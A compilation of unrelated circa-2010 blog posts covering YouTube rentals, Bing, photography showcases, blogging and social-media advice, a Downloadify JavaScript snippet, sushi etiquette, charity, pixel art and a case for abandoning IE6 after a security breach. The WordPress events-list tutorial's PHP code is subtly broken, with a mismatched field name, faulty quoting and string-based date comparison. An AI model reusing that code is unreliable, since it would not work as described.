If “Pants on the Ground” remixes and burning banana suits aren’t your thing, don’t fret, there’s a whole new reason to use YouTube: movie rentals.

The Google-owned video site debuted online movie rentals today on a very limited basis, allowing users to rent five different flicks from the Sundance Film Festival using their Google Checkout accounts. The company says “a small collection of rental videos from other U.S. partners across different industries, including health and education, will be made available in the weeks ahead.”

Last year, it was reported that YouTube was in talks with movie studios to offer rentals of major motion pictures, creating what would be dubbed an instant Netflix killer. This is far from that, but represents what could become a massively important part of YouTube’s future. Don’t forget — the site is also continuing to push ahead with HD and making its content big screen-friendly.

Slowly, but surely, we expect YouTube to continue in this direction, and other moves like introducing live sports and streaming full-length films offer just a hint of what’s to come from the video site over the next few years. For more on that, see: YouTube Is the Top Social Media Innovation of the Decade.

Tags: trending, video, youtube

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On the Bing Search Blog the company says that its research found 45 percent of search queries result either in a user conducting an immediate re-query, or quitting the page altogether.

As an example Bing cites the Golden Globe Awards and says its autosuggest now provides the latest news and information about recent winners.

The Bing Blog offers more details. "We at Bing are continually improving the performance of autosuggest to reduce these problems. In fact, we recently incorporated breaking news and hot trending queries within autosuggest. Updated every 15 minutes, trending queries balance timeliness and relevance to connect you with the most prominent or topical events happening now."
 

Related Articles:

> Bing Gets New Health Search Features

> Bing Gets A Bunch Of New Search Features

> Link Building For Bing Rankings: Dos And Don’ts

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Go check it out and submit your own!

Why start another photo sharing project while there are many choices out there? Most of the other services seems still kind of hard to use or don’t look that user friendly. What’s even worse is that it’s still a lot of trouble to have multiple people put their photos into one place, like when you have had a wedding. Yogile makes it easy for others to add photos to your albums because they don’t need an account; you just give them your URL and they’re ready to go! Don’t like it that anyone with access to your album address can add photos? Just set a password on your album, simple as that! We hope you will find Yogile refreshing and easy to use.

http://www.yogile.com/

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Image by pickinjim2006.

Lamm-Hartmann says once you’ve made up your mind, staying on in a job you’re checked out of emotionally will just stress you out even more. Her advice: Don’t let the fact we’re in a recession hold you back—the job market is more fluid than it appears as people leave jobs they’re dissatisfied with.

The ideal way to go would be to have something lined up [before quitting]. But that’s not always the case these days. If you are dissatisfied, and your company is laying off or downsizing, and you know you want to be doing something else, then go. It’s risky, it’s giving up job security, but there’s really no such thing as job security anymore anyway. And a lot of times companies are providing support, too, like outsourcing support where you can actually get some career counseling if you don’t know what you want to do next. There are lots of companies out there right now that are helping people connect with what they really want to do.

If you’re not ready to do something quite so drastic as walk out on a steady (albeit unhappy) job situation, then consider freelancing without quitting your current job. Have you walked away from your job recently to pursue another opportunity? What motivated you to jump ship? How did it work out? Let us know in the comments.

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In Infrared Photography, the film or image sensor used is sensitive to infrared light. The part of the spectrum used is referred to as near-infrared to distinguish it from far-infrared, which is the domain of thermal imaging. Wavelengths used for photography range from about 700 nm to about 900 nm. To record the “invisible light” has always been an intriguing and fascinating experiment for photographers.

There are many ways to attack photography and some are much more expensive than others. Here in this showcase, we presenting a Stunning collection of Infrared Photography and Pictures taken by various artists in which all pictures are linked to the author’s pages. You may want to explore further works of the photographers we’ve featured below.

You may be interested in the following photography inspiration related articles as well.

• 100+ Examples of Brilliant Tilt-Shift Photography
• 88 Examples of Incredible Aerial Photography
• Enjoy Moments Of Reflective Photography – Part I, Part II
• Rainbow Colors Inspired Photos and Pictures – Part I, Part II
• Motion and Blur Photography for Inspiration – Part I, Part II
• Strange and Fantastic Buildings Architecture – Part I, Part II
• Mix Collection of Stunning Photographs to Refresh Your Mind – Part I, Part II

Please feel free to join us and you are always welcome to share your thoughts even if you have more reference links related to inspiration that our readers may like.

Don’t forget to subscribe to our RSS-feed and follow us on Twitter — for recent updates.

What is Infrared?

For those who don’t know what is “Infrared” in terms of Photography then, The infrared part of the light spectrum is outside the range of what we can see. With a digital camera, we can record just this “invisible light” and block the “visible” part. This results in unusual but often beautiful renderings of otherwise fairly common scenes. since the 1960’s artists have experimented with analog infrared photography. At the first glance, a monochrome picture taken in infrared may look similar to just another black and white photograph. And then you start seeing differences: objects which are bright in visible light (like sky) look dark here, while some of those which are “normally” dark (green foliage) acquire a bright glow. An unusual and eerie feeling.

Still Confused! What is The Difference?

The infrared spectrum of light lies just beyond what we can see as humans. For some, infrared photography has been just as elusive and mysterious. While capturing this invisible light has been possible for years, the process has been steeped in tedium, expense and unpredictable results. Because of these reasons, many photographers have only dipped their toes in this beautiful medium, or avoided it altogether. The digital photography revolution has rendered this unique art form much more accessible, and simpler, than in the analog photography days. Just look at the difference in following photo.

Also there are some famous myths about infrared photography exists since it was discovered. Like, You can’t use autofocus with infrared film. Or all Nikon cameras work with infrared film but Canons don’t. Or Infrared energy is generated by friction etc.

you can find some of the many myths here in this article with their explanations.

Brilliant Examples of Infrared Photography

Photography can serve as a nice source of inspiration. We designers, can derive inspiration from almost everything around, and this collection can fulfills your various photography inspiration related needs as the creativity in shooting photos is somewhat hot trend now days. We can promise you that when you start browsing them farther in details it will surely refresh your memory.

 

Further Resources!

• Infrared Photography entry from Wikipedia, the free encyclopedia
• Infrared Photography Collection | SmashingMagazine
• Infrared Photography Collection | WebDesignerDepot
• Near Infrared Digital Photography: A Tutorial
• Infrared basics for digital photographers
• Infra-Red Flickr Pool
• Digital Infrared Flickr Pool
• High-speed Infrared Flickr Pool

Find Something Missing?

While compiling this list, it’s always a possibility that we missed some other great photography work. Feel free to share it with us.

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1.  Give credit where credit is due – If you use an image, a by line give credit to your source.  You can do that by placing a link on your article, or directly mentioning the article where you got it from.  I am sure you would not want others to use your article with out linking back to you as source.  Respect begets respect.

2.  Make your visuals captivating -  I learned this from @Minervity.  Your article will surely come to life if you use images that are appropriate for your subject matter.  Choosing the best visuals will eat up your time, but I can assure you that it will be well worth it.

3.  Take time to write your post title - Some people might take this for granted, but a killer title is also important.  Your title is like a preview to your story.  But be careful as to not also mislead people.  An appropriate title is a must.  Here is a link that can help you. 8 Secrets to Writing A Killer Post Title written by @adamsconsulting

4.  Check your spelling and grammar – I guess I don’t need to elaborate on this point.  But you have to really proof read your article before posting.

5.  Always invite your readers to comment and share their thoughts – Make sure that you invite your readers to share their thoughts on your article.  You see commenting allows a blogger to engage with his/her reader.

6.  Research and check your source materials – Research is important. Credibility is earned.  Make sure that you check and double check facts and info.

7.  Take your time in placing tags on your article – tagging is important, allows your article to be more searchable.  choose the right words or phrases that is related to your article.

8.  Promote your Blog via Social Networking Platforms – There are so many ways to share your articles with the world.  Specially now with Twitter, digg, stumble  and FaceBook.  Good vehicles to use as medium in bringing your information to a wider audience.

9.  Allow people to guest post – Of course, you have to choose a writer that will match your blog’s main theme.  You can both discuss the kind or type of article he can share on your space.  By allowing guest posting, your readers can have varied incites and information. Plus the writer’s readers will also get the chance to check out your site, thus bringing in unique visitors.  If they like your site, then you can be assured of loyal readers who in turn will recommend you to other readers.

10. Give back to your readers – Always better to give than to receive,  true as well in the blog sphere.  There are many ways to show your appreciation, one of the greatest way is to write good content and write consistently.  People follow your blog and read your blog because they find your work interesting.  Don’t write great stuff in the beginning then do a ho-hum at the end.  Or write 5 articles then come back writing after 2 months.  You will only gain respect if they see you give your best in every article you write.

There are a lot of challenges that face a new blogger, experience will be our best teacher.  Never forget to have fun!  You will only be able to sustain something if you love what you do.  If you have any personal tips you want to share, please share them here by commenting.

Main Image Source

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Originally posted at The Download Blog

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I recently stumbled upon Downloadify, a client-side file generation tool based on javascript and Flash ActionScript code. A huge advantage to creating files on the client-side is that you can reduce the load on the server — especially when there’s no need for the server to get involved (the data is available within the page, etc.) Lets take a look at how we can use Downloadify.

Downloadify Usage

Downloadify.create('downloader',{
  filename: function(){
    return 'secret-message.txt'; //static file -- you could retrieve from form input box
  },
  data: function(){
    return 'MooTools FTW!'; //static content -- you could retrieve from form input box
  },
  onComplete: function(){
    alert('The file has been saved!');
  },
  onCancel: function(){
    alert('You have cancelled the saving of this file.');
  },
  onError: function(){
    alert('Error!  Damn!');
  },
  transparent: false,
  swf: 'media/downloadify.swf',
  downloadImage: 'images/download.png',
  width: 210,
  height: 55,
  transparent: true,
  append: false
});

Downloadify provides numerous options which you may pass per instance within the create method — this should look familiar to notice to advanced javascript users. What I really love about Downloadify is that it provides just the right amount of customization — events and filename/content settings. Too many javascript classes/functions try to do too much; Downloadify gets it right. My only criticism of Downloadify is it’s requirement of a 4-state sprite; it would be great if that were an option or the ActionScript could detect the height setting vs. the image file’s actual height and use the sprite if available.

MooTools Helper

/* mootools helper */
if(typeof(MooTools) != 'undefined'){
	Element.implement({
		downloadify: function(options) {
			options = $extend(Downloadify.defaultOptions,options);
			return this.store('Downloadify',Downloadify.create(this,options));
		}
	});
}

Downloadify comes with a jQuery helper but not a MooTools helper…I’ve remedied this.

Downloadify fills a need for many developers. Avoid unnecessary server load and jump on Downloadify!

Don’t forget to follow me on Twitter and be sure to visit Script & Style for the best Javascript and CSS articles around!

Sponsor the David Walsh Blog and get your brand in front of several thousand users per day!

Downloadify: Client-Side File Generation Using Javascript and Flash

Related posts:

1. Basic File Uploading Using PHP
2. Facebook Sliders With Mootools and CSS – Now With Image Generation!
3. Create a Zip File Using PHP
4. Basic PHP File Handling — Create, Open, Read, Write, Append, Close, and Delete
5. WordPress’ .htaccess File Is Genius

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Although I admire their transparency and use of social media for this brilliant marketing campaign, I have one question: Is it possible to be too transparent? Right now, on http://www.pizzaturnaround.com, there is a live Twitter feed with feedback on the new recipe. I’ve been monitoring that feedback for several days, and I’m sad to say that much of it is negative. Is anyone else getting a flashback from when Coke changed their formula back in the 80s?

Did they take their transparency too far? Would they have had more success changing the minds of consumers and changing their company’s reputation if they didn’t put themselves in such a vulnerable position by putting the Twitter feed on the site?

I spoke to @ShellyKramer who knows almost everything about branding and these were her thoughts: “Domino’s had something really, really bad happen to them. And it shook them to their core. As a result, they take social media, and its inherent power, very seriously. It’s not as if someone couldn’t see those same comments if they did a search. Domino’s is just being ballsy enough to put them up there, in front of God and everyone, for the world to see, in real time. Is it good? Is it bad? Is it harmful to the brand?

Heck, I don’t have all the answers. But the more I think on it, I think it’s kind of cool. There is nothing like instant feedback. And nothing like showing the world “We value our customers; we care about what they have to say, we listen when they talk.” This is that, to the Nth degree. It actually kind of makes me respect them. A lot. That is brave. Very brave. Who knows where it will go. Who knows if they’ll leave that functionality on their site. But, for me, I think it makes an impressive statement.”

What about the old Domino’s pizza recipe? Don’t worry, according to http://www.colbertnation.com, “If you get nostalgic for the classic recipe, you can always order the new pizza and then spread some ketchup on the box and eat it.” You can see the twitter feed and learn more about this by visiting http://www.pizzaturnaround.com.

Thank you to http://www.flickr.com/photos/roelestcoolest/2847716917/ for the Domino’s logo photo above.

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Social Media is “media designed to be disseminated through social interaction, created using highly accessible and scalable publishing techniques” (Wikipedia), and if that doesn’t make sense I don’t blame you.

Basically everyone these days is interacting through online groups on Facebook, real-time feeds on Twitter, real-time searching with One-Riot and getting their website-of-the-day from automatically generated lists such as Newsified. A web article that was hot one day probably isn’t going to be hot the day after because there will be another one in its place. Social Media changes shape every day, in fact it’s changing the web every second!
Your website needs to utilize Social Media effectively in order to get a leg-up and be recognized in this constantly-shifting web cosmos. As a follow up to my previous article, I wanted to share a few tips that might help your website or web application grow. Since launching Project Bubble I have seen massive growth which I attribute mostly to the use of social media and I’m sure your website too can benefit from this.
A good place to start is to learn to understand Social Media by subscribing to blogs like Mashable and staying on top of the latest trends by following key people on Twitter. Once you get inside the world of Social Media and begin to understand it the following tips will make a lot more sense to you and you will be able to apply them to your website.

Build Community

A lot of websites are static, with a few simple pages and a contact form. The owner of the website only knows if someone has visited based on the tracking statistics (such as Analytics) and they can only communicate with their visitors if the person visiting fills in a contact form. Also anyone else visiting the website won’t be able to interact with other visitors, let alone find out if anyone else is interested in the products or services offered by this website.

Building social community features in to a website will spark life in to your online presence and make it change a lot more often. A site that you might have only updated every six months will suddenly get updated by your community every day, providing you can get the traffic. Your site will look a lot more active, but also by capturing your visitors’ information (such as email, name, country, likes, dislikes etc) you can collect a lot of data on your audience which will be really useful to you (make sure you have permission to capture your visitors’ information with a clear privacy policy).

Community features such as allowing comments on a blog will let your visitors say what they think about your products and services. A forum feature will allow users to network with each other, as well as being able to discuss a recent event in your business. Building a sign up feature to your site will let users be able to return to your website and have their preferences saved, and you will be able to store the contact information and data of those who regularly visit your site. Most of these features are fairly easy to implement and can make a world of difference.

Get Feedback

It’s important to get feedback from your users, especially if your web business is new. Don’t be ashamed of any bugs or small issues that might happen on your new website because if you can prove that you are listening to your users, and that you can fix these issues quickly – that will outweigh any problems or bugs people find.

A feedback system will let you know about issues that you might not have otherwise found through your usual testing methods, for example a recent one that came up in Project Bubble is Japanese and Russian characters. Someone reported the issue (and I would never have known about this) then straight away provided a fix. I learnt a lot about UTF-8 that day! Finally, providing a channel for feedback shows that you care about your customers and you are willing to change things based on what people report. This builds loyalty to your brand and will help with user retention. Tools for getting Feedback could be: UserVoice and GetSatisfaction.

Offer Interaction

Not only do you want to capture the users who visit your site and build a community, you want to offer them the facility to interact with you and vice-versa. Interacting with your website users will build brand loyalty and people will see that you’re not just a big corporate identity but are actually real people behind all the PR gloss. Get your users to talk to you, and when they do make sure you talk back to them straight away.

Tools such as simple web forms are absolutely essential in providing your users with quick, clear and targeted contact methods. Studies have shown that the more work you have to make your user do on your website, the less likely they will do what you want them to do. So, for example in the case of web forms – if you don’t use them and you rely on “mailto:” email links it means that people have to do much more work, whereas with a contact form all they need to do is quickly fill in their name,  email, select a subject from a drop down and then type out a simple message there and then. Also web forms allow you to find out data such as where they came from (based on the I.P. address), what page they were looking at when they visited the web form and so on.

Other tools you should look at to enhance user interaction are blog comments as mentioned before but most importantly Twitter. There are other articles on Woork that you can read which describe the power of Twitter so I won’t go in to detail here, but I’ll just say that it is absolutely essential for any web based business. You can not only find out who is following the developments of your business, but you can talk directly to them and involve everyone as you do so.

For example, you have just launched a new home page design and you announce it on Twitter, then somebody replies saying they can’t view it properly on their browser. You can fix the issue, reply back to them and then not only will they be informed of this fixed but so will all of your followers. The person who reported the issue will likely be very pleased that you fixed their problem so quickly they will praise you on Twitter, then you can re-tweet this feedback to all of your followers. So you have an issue reporting tool, but also a testimonial tool – all for free! A Facebook page is a great way of providing real-time interaction with your user base. Set up a Facebook page and publicize it just as you would a Twitter link.
People use Facebook every day (in some cases all day!), so the minute you post a status update you will likely get comments back straight away. Also because of the real-time feed system people will see your new update pop up just as they look at their other feeds. You can also allow users to upload photos, join in a discussion through forums and install loads of different modules such as a Poll system with just a few clicks.

Offer the Best Customer Service

As mentioned earlier, customer service is crucial to the success of your business. Your customers will want to see that you are active and in-touch with them. They will want solutions to their problems as soon as possible. The quicker you can turn-around with these solutions, the better people will rate your customer service. This will in turn create buzz about your company throughout the social sphere (Twitter, Facebook etc).

Let Your Users Create the Buzz

Make it easy for your users to create this buzz. As mentioned before you need to make it really easy for your users to do the things that you want them to do. With regards to creating buzz, you can add buttons and ‘widgets’ to your web pages that allow them to do this easily.
Such as TweetMeme or Topsy (offer a retweet service so your page will get easily posted on Twitter), Add to Delicious (allows users to add your page to their Delicious favorites), Digg This (allows users to add to their Digg bookmarks), Add This (allows users to add the page to every social website out there). The more times people add your web page to a social media site such as Digg, Mixx and so on the more likely your site will get featured on their home page. So it’s important to have these facilities in place if you are expecting a surge in traffic at any time, for example after doing a television, radio or magazine advert.

Good luck!

I hope these tips help. I personally think that social media is a lot of fun, and because there’s always something new to read every day it makes the web so exciting. Maybe your website will be in my RSS aggregator tomorrow as I read the Delicious most-popular list?

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Don’t like the gallery layout? Click here to view everything on one page.

About the Tips Box: Every day we receive boatloads of great reader tips in our inbox, but for various reasons—maybe they’re a bit too niche, maybe we couldn’t find a good way to present it, or maybe we just couldn’t fit it in—the tip didn’t make the front page. From the Tips Box is where we round up some of our favorites for your buffet-style consumption. Got a tip of your own to share? Add it in the comments, share it here, or email it to tips at lifehacker.com.

Open Data Files in Text Editors to See if They Can Be Tweaked

DanYHKim explores all possible options to tweak configuration files:

I was trying to work with an Adobe Acrobat .pdf form, and tried exporting the form data to a .fdf file (Form data file?). Of course, any filename.fdf will open by default in Acrobat, but I tried opening it using Notepad.

Notepad is pretty agnostic about how it opens files. The .fdf turns out to be plain text. It contains the names of all of the form fields, delimited by angle brackets, and any data in these fields.

With some study, I was able to make a spreadsheet to hold data for multiple forms, and then generate a plain text file that can be used to fill out the .pdf form. I don’t need to save each completed form as a separate file, or work through the hacks necessary for keeping forms that prohibit saving.

What other seemingly-proprietary files are actually text? Well, a VMware .vmx configuration is plain text. A Protein Data Bank molecular crystal structure file is plain text. An Acrobat .pdf file is a mix, but sometimes you can alter the text in a .pdf document by editing the plain text elements. It’s worth the look.

Linux users are certainly already used to this idea, but it does work across operating systems—although not with all types of files, sadly. Some will just come up as garbled text, and it takes some trial and error to see which file types you can tweak yourself. As always, back up the file before you mess with it.

Differentiate Bookmarks in the Bookmark Bar for Reading Later

leftymcrighty uses his bookmark bar for bookmarks and items to read later:

When I want to read a web page at a later time, I find bookmarking the page isn’t good enough, because I’ll just forget it’s there. My quick fix is to drop them on Firefox’s Bookmarks Toolbar, so that they’re always out in the open whenever I open the browser. To ease up on overcrowding (and make my “read later” bookmarks stand out even more), I remove the name from all my permanent bookmarks, leaving only the website’s icon. This works quite well in conjunction with Xmarks, because I can bookmark something at work to read when I get home. Also, with the wide-screen format so popular in most new monitors, this leaves plenty of room for links to pile up in the toolbar.

Use Dryer Sheets as PC Dust Filters

Cory finds a nice-smelling way to protect the inside of his PC from dust, while keeping air circulation:

My new computer case had LOTS of extra vent holes, which are great, but I was concerned about even more dust flooding in.

To solve this I took the sides off and cut unfolded dryer sheets a bit larger than each vent and taped them in place. Plus as the air passes thru them it creates a nice smell, well at least for a short while.

Organize Groceries on the Conveyor Belt for Quick Unpacking at Home

Photo by Matt MacGillivray.

Mike organizes his items at the store so he doesn’t have to later:

While I’m waiting in line at the grocery store, I organize my groceries on the conveyor belt so that they get bagged in categories. I’ll put up all of the produce, then canned goods, frozen foods, bathroom stuff, etc. When I get home, everything is more or less sorted and I can quickly get everything put away.

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Collaborative blog Clusterflock says good sushi etiquette dictates you should dip only the fish portion into soy sauce, never the rice, and take care to use the blunt end of the chopsticks to take food from a shared plate. The post also asserts that sushi is meant to be eaten in a single bite, not in a succession of smaller ones.

When you’re dining on the fishy treats, make sure you always mind your chopsticks:

Don’t rub your chopsticks together to remove splinters. (It’s rude; a good sushi bar would never offer chopsticks of such low quality.

Clusterflock claims that stirring wasabi into your soy sauce for more flavorful dunking is likewise a faux pas. Some sushi aficionados say it’s perfectly acceptable, however, so if you’re concerned, the safest approach is to let your tablemates be your guide. If they’re busy making wasabi soup in their individual bowls of soy sauce, feel free to whip up your own batch, too.

Check out the post for more sushi etiquette dos and don’ts. What’s missing from the list? Are you an outlaw that breaks these rules, or do you follow every one of them? Share your thoughts in the comments.

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An events list is just what you would expect; a list of upcoming events, ordered by the date they are taking place on (Not the date they were written on!).

In this post, we are going to create our own events list that will let us add events simply by writing posts and assigning them to an “Events” category. It can’t get much easier than that!

This is exactly what we set up for a recent client of ours, American Majority. You can see their full events listing here, or solely the events in one state here (And on both pages, you’ll see the corresponding list in the sidebar as well).

There are a lot of calendar plugins out there, but there are two reasons this method may be better:

• Full power of WordPress posts behind you, i.e. users can leave comments, and you can embed any kind of media you like in your post, even signup forms.
• More usable for your readers. They can see event titles and descriptions instantly, and click the ones relevant to them. Calendars normally just show the date events are happening on (Because they have limited space in the sidebar), making you have to click on everything.

A bonus is that it never hurts to have one less plugin!

Where calendars shine is when they occupy a full page (i.e. They have room to give event titles!), and when you run a massive number of events (More than 1 each day, e.g. daily training session times for a golf coach etc.).

Create Some Events

The first thing we will do is to create some event posts for us to display later:

• Create a new post, and give it whatever title and content you like.
• Add the post to a new category called “Events” (Can be any name you like, but Events makes sense!)
• In the custom fields section (Beneath the main content area), create a new custom field with a “Name” of “Date” (Without the quotes), and a “Value” of the date for the event, in the form: mm/dd/yyyy 00:00:00

• Publish the post.

Setting the time is optional, but it would be useful if there are ever two events on the same day.

Build the Query

The great part part of this is that we can do all of the work with WordPress’ query_posts tag, so only relevant posts will be pulled from the database.

Let’s go through making the query, step by step.

1 – Grab Our Events Posts

First of all, let’s just pull in a certain number of posts from the Events category. In this case, we’ll take 5 (A nice number for a sidebar, but you could make it 20 or more in order to make a full events listing page).

<?php query_posts('showposts=5&category_name=events’); ?>

2 – Ensure the Posts Have a Date Set

As well as being in the right category, let’s make sure we’ve remembered to set the date of the event.

<?php query_posts('showposts=20&category_name=events&meta_key=Time); ?>

3 – Don’t Show Any Events Which Are Over

If the event date has already passed, we don’t want to list it anymore. We do this by getting the current date in PHP, and then comparing it with the dates in the posts.

<?php // Get today's date in the right format
$todaysDate = date('m/d/Y H:i:s');
?>
 
<?php query_posts('showposts=20&category_name=events&meta_key=Time&meta_compare=>=&meta_value=' . $todaysDate); ?>

4 – Order the Events So the Soonest is First

We do this by ordering the posts by their meta_value (i.e. the date), and setting the order mode to lowest first.

<?php // Get today's date in the right format
$todaysDate = date('m/d/Y H:i:s');
?>
 
<?php query_posts('showposts=20&category_name=events&meta_key=Time&meta_compare=>=&meta_value=' . $todaysDate . '&orderby=meta_value&order=ASC'); ?>

We now have our 5 posts, corresponding the next 5 events in the list.

Display the Events

We can use a regular WordPress loop now to format the posts in any way we like.

For example, the following would display a list of the events with their excerpts beneath.

<ul>
<?php if (have_posts()) : while (have_posts()) : the_post(); ?>
<li>
	<h3><a href="<?php the_permalink(); ?>"><?php the_title(); ?></a></h3>
	<p><?php the_excerpt(); ?></p>
</li>
<?php endwhile; else: ?>
<li>Sorry, no upcoming events!</li>
<?php endif; ?>
</ul>
<?php wp_reset_query(); ?>

The last line puts our page query back to normal (i.e. the true content of the page), so we won’t break things further on!

(Optional) Organize Your Events

You may wish to organize your events into different groups. Thankfully, this is very easy to do. We just add a tag!

For example, on American Majority we split the events up by state, and then each state displayed only its own events (And a central page listed all of the events from every state).

Let’s say we tag a state with “Texas”, then on the Texas page, our new query would simply be:

<?php query_posts('showposts=20&category_name=events&meta_key=Time&meta_compare=>=&meta_value=' . $todaysDate . '&orderby=meta_value&order=ASC&tag=texas'); ?>

All Done!

That’s you up and running now! And because we used the WordPress loop, what you can do with the posts is extremely flexible (e.g. Adding thumbnails, or publishing an RSS feed of them), the exact same way you would with any other set of posts.

Have you ever set up an events list before? How did you do it? With a plugin or a different method?

It’s tragic stuff, and it deserves our attention and support – there’s no doubt about that.

When something like this occurs, the main job of charity organizations like The Red Cross is to get the word out to the masses.

Food, water, administration, insurances, transportation and any other miscellaneous elements to a relief campaign cost money.

They send their message to us across all channels – the web, the tv, the radio, the papers, billboards and magazine advertisements. It’s pervasive, which is to say a day doesn’t go by where we aren’t asked to give money.

Now, take this into consideration. Here’s a list of all the natural disasters that happened in 2009 recorded by reliefweb.int (this doesn’t cover the unnatural disasters like wars, torture, deforestation, pollution, mass murder etc.).

Overall there were 133 disasters from that year alone!

That’s a lot of disasters right?

Do you think that it’s unreasonable that a person on minimum wage or middle-class should donate money to every one of the disaster relief funds of that year? I thought so too. But a lot of people are left feeling guilty that they didn’t do their part.

The reality of the situation is that too many people equate charity to forking out cash. The reality of the situation is that there is suffering happening all the time, in all parts of the world – not just when you hear about it in the mainstream.

Don’t fall into the trap of thinking that money is the only way that you can help people – because it’s all too easy and it’s untrue. Equally, don’t fall into the trap of thinking that foreign aid is the only way that you can make a difference.

Of course there are issues abroad that need to be resolved – but let’s not forget the ones at home!

How Can I Help Without Spending Cash?

I’m here to remind people that charity does not mean “open your wallet” but rather “open your heart”. LOVE is what we practice when we donate, whether that donation is of our money, our time or otherwise.

I’ve taken the time to compile a list of ways that YOU can be charitable without opening your wallet:

Figure out what you’re good at and find ways of using those skills to help others

I regularly offer charity organizations help with their marketing.

Volunteer to serve a common cause in your local area

Have a look on the web or in the papers for a way that you can help with local charities. There are many ways you can help such as:

• helping out at a local homeless or drug rehabilitation center
• spending your time at a listening post, giving people the opportunity to share and be heard
• Helping out at orphanages
• working pro-bono at local charity offices in administration

Promote charities that you resonate with on your websites and blogs

Julian Habib does this on his Facebook page, and is a good example of how even just clicks can help get relief aid to where it’s needed.

Be the messenger – be vocal

Share your concerns with your family, friends and colleagues by simply educating people about what’s going on in the world. Change can happen when people are aware of what needs to be changed.

Realize that without you, you cannot be charitable

It’s the story of the chicken and the egg. Your eggs (offerings) are so much more powerful when you are in a perfect state to be able to give birth to them! Think of how much more of yourself you could share if you had an abundance of free time, money and power.

Recently Google hinted at moving away from China as a search engine provider there. Some seem to think that it is a tactical strategy to get China to loosen up their censorship regulations, since Google now own a considerable share of the search engine marketplace.

Even if this is untrue, it’s a great example of how you should be thinking of ways of leveraging your own position in order to get the things done that you feel most passionate about. If you can’t do them today, don’t sell out and do them half-heartedly. Plan ahead and plan BIG.

Conclusion

Focus on what’s important. Are you going to have more of an impact on the world if you throw a dozen dollars now and again at the world’s biggest charity organizations, or if you go out and meet real people and see first hand how your presence impacts their lives or the ecosystems or the planet?

There’s no right or wrong to this answer – but believe me – exclusively donating money is not the name of the game – your ability to share yourself is.

Lastly, if you have anything you’d like to share with the people reading this post that I’ve missed out (and I’ve missed out a lot for the sake of length!) please comment this post with your suggestions! We would love to hear from you.

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Pixel art, where images are created and edited at the pixel level, seems to be the trademark for old-school computer games rather than the sophisticated visual graphics of contemporary games. Thanks to advanced technology, the simplicity of pixelated images that was prominent during the early days of computer technology may be irrelevant to most of us today where sharper graphics can be created. Still, others may be jaded by all the complex graphics we take for granted today and instead adore the retro feel that pixel art brings.

For starters, pixel art are typically categorized into isometric and non-isometric type. Isometric pixel art is created in a near-isometric dimetric projection (i.e. about 30 degrees angle from horizontal), as seen in some old games where they provide a 3D view of scenes. Non-isometric pixel art refers to those that are not isometric, for example, views from top, side, front, bottom or perspective views. Don’t worry, we’ve separated these two categories to provide you with a better understanding of the two kinds of pixel art.

Here’s the collection of wonderful pixel art from all over the web. Enjoy!

Isometric Pixel Art:

Boxed Town 2
via Howling

The Ultimate Maze
via Xluluhimex

Don’t Forget To Fix Your Polaroids
via Pixellent

Medieval Castle
via Docdoom

City Work
via Pandaemas

Fast Pixel Food
via Jujuqui

BASH City
via Ajiebash

Coke Studios Moscow
via Polyfonken

Coke Studios Goa

Coke Studios

Bugpixel
via Bugpixel

Protomen 1

Reader’s Digest Art

Steampunk Factory

Beachside Marina

Reo Resort

Época SP – O Melhor de São Paulo 2010
via Marcus Penna

Pixel Candy City
via MisaCharisma

Poster
via Simon Page

Christmas Pixel Art

TechnoTron Inc.
via Zoanoid

Trocaire Village
via Kaiusdesign

Blogger’s City
via Noyz Isobar

Pixeltown
via Stridenoble

Butron Castle Pixel Art
via Chocolerian

Gaumont District
via Hellagood88

Coca-Cola
via eBoy

Hollywood

Construction Site

Fortune 500

Honda

Amnesty

Yahoo Poster

Stop Cover

MSH Poster

Edge Pixel Poster
via Edge-Online

Salford Uni Poster
via Army of Trolls

In The Middle Of Nowhere
via Fool

Orange
via Orange Label

Large City
via Love Pixel

Army T-026

Aircraft Carrier

Yard The Water-Mill
via Zi

Non-Isometric Pixel Art:

Anita Blake Pixel Dolls
via Nekomancer-Tei

Pixel Wars
via Deviantdash

Crocktown
via Fool

Colossal Katamari
via Snake

Depp Trilogy
via Jaeden

Protomen 2
via Bug Pixel

Everyone
via Simon Page

About Author – Michael Poh is a freelance blogger from Singapore. He is currently an undergraduate in National University of Singapore majoring in Psychology. He is an enthusiastic video gamer and has a keen interest in CG artworks.

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It’s no secret that we don’t like Internet Explorer 6 (IE6), the outdated 10+ year old browser still used by 15-25% of people on the web. Last year, we called for IE6 to die so that the web could move on with new innovations such as HTML 5.

Now Internet Explorer, specifically IE6, is under fire again after a critical IE vulnerability was implicated for the attack on Google’s infrastructure by Chinese hackers. While IE6 criticism is not a new phenomenon, last week’s events give those of us who advocate for the abolition of IE6 (myself included) new ammunition.

Whether you work for a company that won’t get rid of IE6 or have parents that just don’t see the need to ugprade, here are five new reasons to upgrade or switch browsers:

1. Your security and your company’s security are at risk: There’s no other way to lay it out: if the security of Google, Yahoo, and around 20 other companies were compromised due to people still running IE6, then your security is at risk too. Upgrading after a hacker uses this exploit to steal your information is simply too late, especially if you hold sensitive customer data.

2. World governments are suggesting you switch browsers: Both Germany and France have issued warnings about Internet Explorer, asking citizens to switch to prevent the same type of breach that affected Google.

3. Even Microsoft wants you to drop IE6: The Microsoft Security Research & Defense Blog specifically addressed the flaw and the risk of attack by platform. The most important part of the post was that they “recommend users of IE6 on Windows XP upgrade to a new version of Internet Explorer and/or enable DEP.”

This isn’t the first time Microsoft has asked people to voluntarily upgrade, but it is the first time that it’s been in response to an exploit or vulnerability. Think of it like a recall: would you keep driving a car that Toyota, Ford, or GM says could malfunction? Don’t make the same mistake with your computer’s security.

4. Not wanting to upgrade from Windows XP isn’t a legitimate excuse anymore: One way to delete IE6 is to upgrade your OS — both Windows Vista and Windows 7 run upgraded versions of the IE browser.

We understood why people didn’t want to upgrade when their choice was Windows Vista, but now that a very stable, solid, and secure upgrade is on the market (Windows 7), there’s no excuse not to upgrade. Yes, it’ll cost you up front, but it’s far cheaper than having your data stolen.

5. This will not be the last massive IE6 security breach: This flaw was unknown before Google’s groundbreaking China announcement. And it’s not the first flaw ever found with the browser — there are at least 142 vulnerabilities in IE6, 22 of which are not yet patched. Would you use armor that had 142 weak spots?

Last week’s series of events drove home just how dangerous and idiotic it is to run the long-broken IE6 browser. It should be a wake-up call to IT departments and users around the world: if you keep running a browser from 2001, you are throwing your online security right out the window.

Tags: IE6, IE6 must die, internet explorer, microsoft, trending

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Joshua-Michéle Ross is SVP of Digital Strategy with Fleishman Hillard. He blogs at opposableplanets.com.

